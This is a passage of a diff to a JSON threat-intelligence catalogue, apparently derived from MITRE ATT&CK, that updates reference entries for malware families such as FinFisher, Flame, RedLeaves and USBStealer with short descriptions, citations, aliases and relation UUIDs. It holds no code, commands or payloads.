"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "414dc555-c79e-4b24-a2da-9b607f7eaf16", + "value": "SLOWDRIFT - S0218" + }, + { + "description": "[Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle (Citation: objsee mac malware 2017).", + "meta": { + "external_id": "S0281", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0281", + "https://objective-see.com/blog/blog_0x25.html" + ], + "synonyms": [ + "Dok", + "Retefe" + ] + }, + "related": [ + { + "dest-uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f36b2598-515f-4345-84e5-5ccde253edbe", + "value": "Dok - S0281" + }, + { + "description": "[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)", + "meta": { + "external_id": "S0182", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0182", + "http://www.finfisher.com/FinFisher/index.html", + "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf", + "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html", + "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", + "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + ], + "synonyms": [ + "FinFisher", + "FinSpy" + ] + }, + "related": [ + { + "dest-uuid": "541b64bc-87ec-4cc2-aaee-329355987853", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a5528622-3a8a-4633-86ce-8cdaf8423858", + "value": "FinFisher - S0182" + }, + { + "description": "[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "meta": { + "external_id": "S0219", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0219", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "WINERACK" + ] + }, + "related": [ + { + "dest-uuid": "49025073-4cd3-43b8-b893-e80a1d3adc04", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "49abab73-3c5c-476e-afd5-69b5c732d845", + "value": "WINERACK - S0219" + }, + { + "description": "[PJApps](https://attack.mitre.org/software/S0291) is an Android malware family. (Citation: Lookout-EnterpriseApps)", + "meta": { + "external_id": "S0291", + "refs": [ + "https://attack.mitre.org/software/S0291", + "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" + ], + "synonyms": [ + "PJApps" + ] + }, + "related": [ + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c709da93-20c3-4d17-ab68-48cba76b2137", + "value": "PJApps - S0291" + }, + { + "description": "[RuMMS](https://attack.mitre.org/software/S0313) is an Android malware family. (Citation: FireEye-RuMMS)", + "meta": { + "external_id": "S0313", + "refs": [ + "https://attack.mitre.org/software/S0313", + "https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html" + ], + "synonyms": [ + "RuMMS" + ] + }, + "related": [ + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "936be60d-90eb-4c36-9247-4b31128432c4", + "value": "RuMMS - S0313" + }, + { + "description": "[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)", + "meta": { + "external_id": "S0134", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0134", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + ], + "synonyms": [ + "Downdelph", + "Delphacy" + ] + }, + "related": [ + { + "dest-uuid": "837a295c-15ff-41c0-9b7e-5f2fb502b00a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e6a077cb-42cc-4193-9006-9ceda8c0dff2", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "08d20cd2-f084-45ee-8558-fa6ef5a18519", + "value": "Downdelph - S0134" + }, + { + "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)", + "meta": { + "external_id": "S0143", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0143", + "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache", + "https://www.crysys.hu/publications/files/skywiper.pdf", + "https://securelist.com/the-flame-questions-and-answers-51/34344/" + ], + "synonyms": [ + "Flame", + "Flamer", + "sKyWIper" + ] + }, + "related": [ + { + "dest-uuid": "d7963066-62ed-4494-9b8c-4b8b691a7c82", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "value": "Flame - S0143" + }, + { + "description": "[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit used by [APT28](https://attack.mitre.org/groups/G0007). It has been deployed along with [Downdelph](https://attack.mitre.org/software/S0134) to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)", + "meta": { + "external_id": "S0135", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0135", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf", + "http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf" + ], + "synonyms": [ + "HIDEDRV" + ] + }, + "related": [ + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4", + "value": "HIDEDRV - S0135" + }, + { + "description": "[DualToy](https://attack.mitre.org/software/S0315) is Windows malware that installs malicious applications onto Android and iOS devices connected over USB. (Citation: PaloAlto-DualToy)", + "meta": { + "external_id": "S0315", + "refs": [ + "https://attack.mitre.org/software/S0315", + "https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/" + ], + "synonyms": [ + "DualToy" + ] + }, + "related": [ + { + "dest-uuid": "8269e779-db23-4c94-aafb-36ee94879417", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "667e5707-3843-4da8-bd34-88b922526f0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "507fe748-5e4a-4b45-9e9f-8b1115f4e878", + "value": "DualToy - S0315" + }, + { + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)", + "meta": { + "external_id": "S0153", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0153", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", + "https://twitter.com/ItsReallyNick/status/850105140589633536" + ], + "synonyms": [ + "RedLeaves", + "BUGJUICE" + ] + }, + "related": [ + { + "dest-uuid": "ad6a1b4a-6d79-40d4-adb7-1d7ca697347e", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], @@ -2154,131 +14291,1375 @@ ], "type": "similar" }, + { + "dest-uuid": "3df08e23-1d0b-41ed-b735-c4eca46ce48e", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, { "dest-uuid": "a70e93a7-3578-47e1-9926-0818979ed866", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "RedLeaves" - }, - { - "description": "ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived.[[Citation: Cylance Dust Storm]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0086", - "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" - ], - "uuid": "166c0eca-02fd-424a-92c0-6b5106994d31" - }, - "value": "ZLib" - }, - { - "description": "hcdLoader is a remote access tool (RAT) that has been used by APT18.[[Citation: Dell Lateral Movement]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0071", - "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" - ], - "uuid": "9e2bba94-950b-4fcf-8070-cb3f816c5f4e" - }, - "related": [ + }, { - "dest-uuid": "12bb8f4f-af29-49a0-8c2c-d28468f28fd8", + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "hcdLoader" + "uuid": "17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "value": "RedLeaves - S0153" }, { - "description": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006.[[Citation: Villeneuve 2014]][[Citation: Villeneuve 2011]]\n\nAliases: Lurid, Enfal", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)", "meta": { + "external_id": "S0136", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0010", - "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20dissecting-lurid-apt.pdf" + "https://attack.mitre.org/software/S0136", + "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/", + "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" ], "synonyms": [ - "Lurid", - "Enfal" - ], - "uuid": "251fbae2-78f6-4de7-84f6-194c727a64ad" + "USBStealer", + "USB Stealer", + "Win32/USBStealer" + ] }, "related": [ { - "dest-uuid": "2a4cacb7-80a1-417e-8b9c-54b4089f35d9", + "dest-uuid": "44909efb-7cd3-42e3-b225-9f3e96b5f362", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "64196062-5210-42c3-9a02-563a0d1797ef", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Lurid" + "uuid": "af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "value": "USBStealer - S0136" }, { - "description": "SslMM is a full-featured backdoor used by Naikon that has multiple variants.[[Citation: Baumgartner Naikon 2015]]", + "description": "[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0058", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + "external_id": "S0163", + "mitre_platforms": [ + "macOS" ], - "uuid": "2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421" + "refs": [ + "https://attack.mitre.org/software/S0163", + "http://www.thesafemac.com/new-signed-malware-called-janicab/" + ], + "synonyms": [ + "Janicab" + ] }, "related": [ { - "dest-uuid": "009db412-762d-4256-8df9-eb213be01ffd", + "dest-uuid": "c3c20c4b-e12a-42e5-960a-eea4644014f4", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "SslMM" - }, - { - "description": "WinMM is a full-featured, simple backdoor used by Naikon.[[Citation: Baumgartner Naikon 2015]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0059", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" - ], - "uuid": "22addc7b-b39f-483d-979a-1b35147da5de" - }, - "related": [ + }, { - "dest-uuid": "6a100902-7204-4f20-b838-545ed86d4428", + "dest-uuid": "4af4e96f-c92d-4a45-9958-a88ad8deb38d", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "WinMM" + "uuid": "234e7770-99b0-4f65-b983-d3230f76a60b", + "value": "Janicab - S0163" }, { - "description": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group [APT28](https://attack.mitre.org/groups/G0007) and malware families associated with the group. (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0079", - 